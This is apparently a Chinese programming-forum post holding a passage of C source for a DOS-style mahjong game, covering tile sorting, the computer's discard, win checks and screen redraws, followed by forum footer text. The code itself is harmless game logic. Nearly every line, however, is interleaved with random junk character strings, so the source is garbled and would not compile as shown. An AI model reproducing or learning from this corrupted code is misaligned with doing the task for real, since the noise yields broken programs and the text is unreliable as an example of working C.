if(me.pp[every].number<dw[0])
& e& {6 ?- F. N3 J1 g: @{: K! d9 X/ U7 l w: l% L
dw[2]=dw[1];! f6 t: M! Y4 D. M U
dw[1]=dw[0];
, p; u1 B- [3 F+ G* y! N2 \dw[0]=me.pp[every].number; W, D3 q0 H. n7 k
}$ P7 Q4 Q: D6 x9 |/ u( t
if(me.pp[every].number>dw[1])8 h. c/ _8 O' P$ o0 G
{
& @7 j& G* P& d( v0 i# ?% Hdw[2]=me.pp[every].number;2 O: b- ~% Y9 o+ p, ?* B
}# R; n* n6 T, M( g
if(me.pp[every].number>dw[0] && me.pp[every].number<dw[1])
, H+ P: W. H/ q# b/ E% X{1 o4 e, C% }0 Q* x
dw[2]=dw[1];
. Z1 ~' N$ [0 y7 ddw[1]=me.pp[every].number;
; `. f, @- r M* ^}
+ u) n' j! T+ n& Unn=0;! V: @$ e2 x- X# b! q9 h! }
while(nn<3)
2 N+ W! y4 v5 v8 C& v# @{ zl=zl+20;
, y1 M: k7 o& A- e L3 d. ? [bmpp(dw[nn]); /*显示吃的牌*/$ Z, l* \% F" ^- i7 E
nn++;
) X1 m) V m# P8 c* k8 u5 C}- {* }% t/ Z) D! e' R' V
zl=zl+9600-60;
. x% p: r4 S1 @+ a6 ykkk=0;
; i2 q5 K. L2 J( I, y4 T* Vcomputer.m=computer.m-2;: v, c5 v% n; Z. \
while(kkk<=computer.m)/ x8 @& A% f. B- z( L
{
3 ^8 d/ N* }. m& A. N; _computer.pp[kkk].k=comp.pp[kkk].k;& X1 a' t1 x v5 d) _7 B. |/ h6 n
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( A* b3 K4 E. h! K6 H* tcomputer.pp[kkk].number=comp.pp[kkk].number;
; g) k, ]5 t1 Dkkk++;
2 l" M" t8 O0 v8 i2 B}
' z4 U' C0 o: f' t" u1 Ell=0;; _- U9 W( B9 p1 F
temp=random(computer.m); /*出牌等待完善*/9 K' h" }' D( {- a
zyy=zyy+9280+20;
 q7 z+ d! B0 [) X, I# Qshowcbmp(temp);
7 a& t0 N! U% E# C" E3 C7 {& l2 \zyy=zyy-9280;
6 k( J' v9 l y, H/*****/
" H- s: r2 n1 nrgznme(temp);
/ p5 ^' }/ D& b3 A4 i9 T8 zpanduan(); k) ^& `/ j8 \
if(me.m==0)
; d+ N" Y1 N6 W: [' H5 ]if(second==1 && threes==0)
 f1 t1 a* i. z* W; E2 Cprintf("you win!");
7 J; `' M# r# D' u3 gif(me.m==3)
4 r1 j2 b8 U+ T3 O: q' wif(second==1 && threes==1)
" _# @7 ]6 c. B& S% s1 D8 Aprintf("you win!");" {0 c g Z1 {. I h- B
if(me.m==6)
( X6 k' a3 r) Uif(second==1 && threes==2)
7 u, |2 N! q U5 \* w2 q6 r+ d+ h0 Qprintf("you win!");
3 g- U. q, b. Y8 }if(me.m==9)1 D( a) a1 |# k- P6 {8 Q
if(second==1 && threes==3)" T( r3 F+ b) R2 l5 |" l
printf("you win!");0 M1 t) ~: ~0 Z8 g/ p( o& c
if(me.m==12)
9 N4 W4 r; O- d/ C, F/ V; z& }if(second==1 && threes==4)
% Q) z: g$ d( r! E/ _printf("you win!");" ?4 O' r3 Q( x
# i7 M4 w% [' a' B+ U' t
kkk=0;
* M6 O. t& |9 R: O3 p. lkkkk=0;- l( r' v6 p/ G {8 z, |4 Y c
while(kkk<=computer.m)
- I% a0 Q3 ]4 W" L5 j {) g$ q8 @! G{
- q. O$ H$ G) x \2 p# lif(kkk!=temp)
$ D% r1 H, {4 h& a{
% b" w3 v4 b% g* n- Dcomp.pp[kkkk].k=computer.pp[kkk].k;! `' W& }# N0 z! w
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;; b1 L3 o+ b6 F: f0 K# Y, v. M
comp.pp[kkkk].number=computer.pp[kkk].number;
; F/ m7 _/ \1 l; Bkkkk++;$ P: l2 Z- P, B: q" k9 R
}
* M# `* \& c) D7 e1 @0 e& g' V# qelse9 p1 O% P3 R K, o* |* z- j8 B
m[computer.pp[kkk].number].data1=1;* g G" U+ W- o6 c
kkk++;
0 w+ X3 B4 x6 [( M: r( j}
9 x5 Z9 @8 @& O$ Q8 U2 K" Fkkk=0;( [# n2 v1 y: l2 L$ L- w5 ^
computer.m=computer.m-1;) b2 N7 j7 k% Q; Q" v
while(kkk<=computer.m) O7 k! O; I9 A- c8 v
{9 c& A6 x6 ?& X9 _8 H
computer.pp[kkk].k=comp.pp[kkk].k;5 c" U' A) I$ s1 Y
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
) u3 F5 c* G8 k4 Xcomputer.pp[kkk].number=comp.pp[kkk].number;9 u3 i' M2 H2 u3 y
kkk++;
% \' N& k( X0 e5 E5 [9 D @' B}6 V$ Q2 U- N9 t
fillRectangle(0,0,320,30,0);
5 J+ L3 E$ g6 J& c) r/ tn=computer.m;
; c6 v5 m8 f/ I0 |4 |0 t: l xll=0;1 v R" N: c6 |4 T6 I+ }
zy=0;! N) ]) U0 z! x3 M( l6 U
while(ll<=n)
4 A1 s' H9 E; T1 @* O( n{/ D0 }% a6 E9 @: U
zy=zy+20;; y( X) }9 C2 T" ]) i$ A
showybmp(ll);
& x6 W. k5 Q3 n7 ?5 }. _ll++;
) f# s! u5 J/ S: E" N}
# m! G9 e) q" ?6 E- V
6 L# g1 R) ~' ~4 S9 g7 p$ Lgetch();
2 J3 M: {/ U/ G8 Hsing=0;7 o4 L7 V) n" I* ]' ~6 a
sing1=1;
) J0 S. z4 a) l& ?% c}# m- x4 t7 y6 Y/ y d0 B+ J
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/2 f7 y; w0 w# C, ^' V
{1 }6 @' Z2 O$ y7 \
kk=0;
5 m- S/ O. l0 V( X* ^h=me.pp[every].number;
+ z0 o, b6 b) _4 zm[h].data1=1; /*此牌已经无用*/
4 x) N% F' P4 E/ n2 \* j7 lif(sing1!=1)
9 }3 i5 h( \5 c$ b m; `8 ^* A{0 D8 y* [# @: y1 o
zyy=zyy+9280+20;
2 F! D; G7 z% X0 s% n$ H' b) m0 vshowbmpd(every);2 Q, Z/ H; _: J) H) K: Q, {
zyy=zyy-9280;
$ m4 [5 A3 P4 E' {$ U9 s& H; ?}9 [' d) t' i+ h) o
while(kk!=1)
8 _7 l( P' E2 d' G0 s{/ f' {7 S" V3 y
temp=random(136);
8 n1 W+ E: [: ]5 U1 k5 K9 C$ K; Gif(m[temp].data2==0 && m[temp].data1==0)
5 k8 s# e/ [& _{
3 S0 E2 U# b. Y3 F& Wme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
6 }9 H; s: T, i. yme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
8 Z4 N# P- e6 l% m( d; z8 jme.pp[every].number=temp; /*第几张，用来排序*/
2 w, y; e D y v5 z# M- Im[temp].data2=1; /*判断牌是谁的*/
/ \* w; c; D, j0 t3 P# Vkk=1;
. N" ]+ a4 e* v2 ~9 o' N}
! P8 [5 i( }8 b8 ~( Hif(kk==0) /*判断如果又选择了，就从新再选*/1 m0 O) M+ _7 P! h; Q e0 F; V
kk=0;
" z( e$ c9 p3 b$ V" K {}8 R, {5 T/ f/ S) A7 g7 Q7 r) |- ^
}
; r4 K# w7 \$ N7 w7 I4 l" D5 t4 Esing=0;
4 n; F% _' G! ?sing1=0;
3 n& b/ V8 R2 ]) O8 |, z! Wmelipai();
4 M" \% W B: G" u+ vn=13;
2 H1 Q' K# c/ S* K& I: }z1=54400; o8 v/ e1 _9 q2 z4 H. x
l=0;
- i8 I0 e7 p" U2 P- B" \g=z;: }2 C9 v! C% {: ~! Q% k
while(l<n)7 f: U& Z' i; ~* v# F
{ z=0;
! ]8 }, V- f9 q" E# ez1=z1+20;
3 a! X. C3 D; Z) ~, Jshowbmp(l);
) V8 G+ y) V" t3 q3 c m: Ql++;- i0 j! w0 P$ C! C6 e- c5 `% s, _2 F) Q
}
3 x6 T' r, j0 c t, x; tz1=0;& {( ^- P- d2 M/ U7 k& B
z=g;
4 Q" V: q' V( v: e$ _}
$ X+ N/ G) u" qkeyy=0;6 M" K" Q& z8 [3 E% C Y
}
( ^1 J: ]( c) P% z; t% x' b6 B" I/ r
& t! B# w$ V4 L R" Dgetch();1 y+ P% w o2 T, i& C2 h
OUTVGA;
% x* v/ S# k5 n$ h2 t) r} 2 q1 V" t- Y; U) Q2 ^6 Y
</DIV>

我也说一句

发表

使用道具举报

返回列表

帐号		密码		只需要一步，快速开始		注册地址	找回密码

C语言技术文章

浏览过的版块

发帖功臣

元老勋章

QQ

电话咨询

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务|